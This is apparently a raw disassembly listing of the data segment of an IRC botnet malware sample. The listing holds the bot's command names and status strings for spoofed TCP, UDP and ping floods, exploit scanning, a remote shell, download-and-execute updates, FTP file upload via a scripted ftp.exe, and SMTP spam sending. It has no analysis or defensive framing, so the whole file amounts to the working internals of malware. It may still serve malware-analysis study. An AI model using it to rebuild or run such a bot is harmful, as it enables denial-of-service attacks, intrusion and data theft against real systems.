		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
unk_429DBC	db    2			; DATA XREF: seg000:0040D436o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
unk_429E08	db    2			; DATA XREF: seg000:0040D2C4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_8	db 'Failed to start server thread, error: <%d>.',0
unk_429E54	db    2			; DATA XREF: seg000:0040D194o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 4
dword_429E88	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:loc_40D178o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start scan, port is invalid.',0
		align 4
dword_429ED4	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040D0B9o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_429F50	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CE79o
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_429F88	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CE60o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_429FBC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CE40o
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_429FF0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CE27o
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_42A01C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_40CDA9o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_42A05C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040CDA2o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_42A094	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_40CD5Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 10h
dword_42A0D0	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040CD52o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: seg000:0040CD38o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:0040CCADo
					; seg000:loc_40DAB9o
		align 10h
dword_42A120	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CC37o
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_42A158	db    2			; DATA XREF: seg000:loc_40CC22o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 10h
unk_42A190	db    2			; DATA XREF: seg000:0040CC18o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_42A1C0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CBEFo
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_42A1F8	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:loc_40CBD3o
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_42A234	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:0040CBA5o
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_42A264	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_40CB71o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_42A2A8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040CB67o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 10h
dword_42A2E0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_40CB11o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 4
dword_42A328	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040CB0Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_42A360	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:0040CAC9o
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_42A390	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:0040CAB3o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
dword_42A3B8	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: seg000:loc_40CA98o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_42A3E8	db    2			; DATA XREF: seg000:0040CA8Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_42A418	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040CA5Do
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_42A444	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040CA52o
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_42A484	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040CA12o
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_42A4B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C9FEo
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 10h
aR:					; DATA XREF: seg000:loc_40C997o
		unicode	0, <r>,0
dword_42A4F4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C979o
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_42A520	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C93Eo
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_42A564	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C922o
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_42A59C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C8A0o
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_42A5CC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C865o
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_42A5FC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C80Fo
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_42A62C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C7A7o
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_42A654	dd 54524150h, 0D732520h, 0Ah					; seg000:0040CE32o
dword_42A660	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C73Eo
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 10h
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040C730o
		align 4
dword_42A69C	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040C707o
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_42A6CC	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040C69Co
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_42A6FC	dd 45444F4Dh, 732520hdword_42A704	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040C612o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_42A734	dd 4B43494Eh, 732520h					; seg000:0040CC79o
dword_42A73C	dd 4E494F4Ah, 20732520h, 7325hdword_42A748	dd 0A0D7325h, 0						; seg000:0040C5F1o ...
dword_42A750	dd 54524150h, 732520hdword_42A758	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_40C520o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 10h
dword_42A7A0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040C4E9o
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: seg000:0040C498o
		align 4
dword_42A7D4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_40C450o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_42A7FC	dd 25207325h, 73252073h, 73253A20h, 0					; seg000:0040C4C3o ...
unk_42A80C	db    2			; DATA XREF: seg000:0040C393o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_42A864	db    2			; DATA XREF: seg000:0040C377o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_42A8B4	db    2			; DATA XREF: seg000:0040C30Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: seg000:0040C266o
		align 10h
dword_42A900	dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
					; DATA XREF: seg000:0040C207o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	3A73646Eh
		dd 732520h
unk_42A92C	db    2			; DATA XREF: seg000:0040C1EEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
dword_42A964	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:0040C119o
					; seg000:loc_40CAD0o
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_42A984	db    2			; DATA XREF: seg000:0040C104o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A9BC	db    2			; DATA XREF: seg000:0040C0E2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_10	db ' Failed to start clone thread, error: <%d>.',0
unk_42AA08	db    2			; DATA XREF: seg000:0040C073o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
dword_42AA4C	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:0040BFE3o
		dd 2029206Ch, 2BBBB02h
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AA98	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:0040BF69o
		dd 2029206Ch, 2BBBB02h
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
unk_42AAD8	db    2			; DATA XREF: seg000:0040BEEDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42AB2C	db    2			; DATA XREF: seg000:0040BE7Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_42AB6C	db    2			; DATA XREF: seg000:0040BDAFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '  Failed to start redirection thread, error: <%d>.',0
unk_42ABC0	db    2			; DATA XREF: seg000:0040BD40o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 10h
unk_42AC10	db    2			; DATA XREF: seg000:0040BCB5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_11	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42AC60	db    2			; DATA XREF: seg000:0040BC46o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: seg000:0040BBC2o
		align 10h
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: seg000:0040BAC5o
		align 10h
dword_42ACD0	dd 54434101h, 204E4F49h, 17325h					; seg000:0040C7F0o
dword_42ACDC	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040B9D8o
					; seg000:0040D12Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12	db '  Failed to start scan thread, error: <%d>.',0
dword_42AD28	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040B969o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: seg000:0040B93Eo
					; seg000:0040D08Eo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: seg000:0040B937o
					; seg000:0040D087o
		align 4
dword_42ADB4	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040B7F9o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_13	db '  Failed to start scan, no IP specified.',0
		align 10h
dword_42AE00	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040B6B2o
					; seg000:0040CED2o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 4
dword_42AE54	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040B681o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_14	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42AEA0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:0040B612o
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: seg000:0040B54Bo
		align 4
unk_42AF14	db    2			; DATA XREF: seg000:0040B536o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_15	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AF60	db    2			; DATA XREF: seg000:0040B4CBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_42AFBC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:loc_40B42Eo
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_42B008	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040B424o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B054	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040B3AAo
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: seg000:0040B39Ao
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: seg000:0040B393o
dword_42B0AC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: seg000:0040B2FEo
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_42B0E8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:loc_40B216o
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_42B128	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040B20Fo
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: seg000:0040B1F8o
aSS_3		db '-s:%s',0            ; DATA XREF: seg000:0040B1E1o
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: seg000:0040B1C1o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: seg000:0040B19Do
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: seg000:0040B18Co
		align 4
dword_42B1A8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040B106o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: seg000:0040B0E3o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: seg000:0040B0C0o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: seg000:0040B0A9o
		align 4
unk_42B204	db    3			; DATA XREF: seg000:0040B068o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; 
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: seg000:0040AFF4o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: seg000:0040AF58o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: seg000:0040AF09o
		align 4
aUsa		db 'usa',0              ; DATA XREF: seg000:0040AEF2o
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: seg000:0040AEDBo
		align 4
aPg		db 'pg',0               ; DATA XREF: seg000:0040AEC4o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: seg000:0040AEADo
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: seg000:0040AE96o
		align 4
aPu		db 'pu',0               ; DATA XREF: seg000:0040AE7Fo
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: seg000:0040AE68o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: seg000:0040AE51o
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: seg000:0040AE23o
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: seg000:0040ADFAo
		align 10h
aClone_action	db 'clone.action',0     ; DATA XREF: seg000:0040ADE3o
		align 10h
aClone_pm	db 'clone.pm',0         ; DATA XREF: seg000:0040ADCCo
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: seg000:0040ADB5o
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: seg000:0040AD9Eo
		align 4
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: seg000:0040AD87o
		align 4
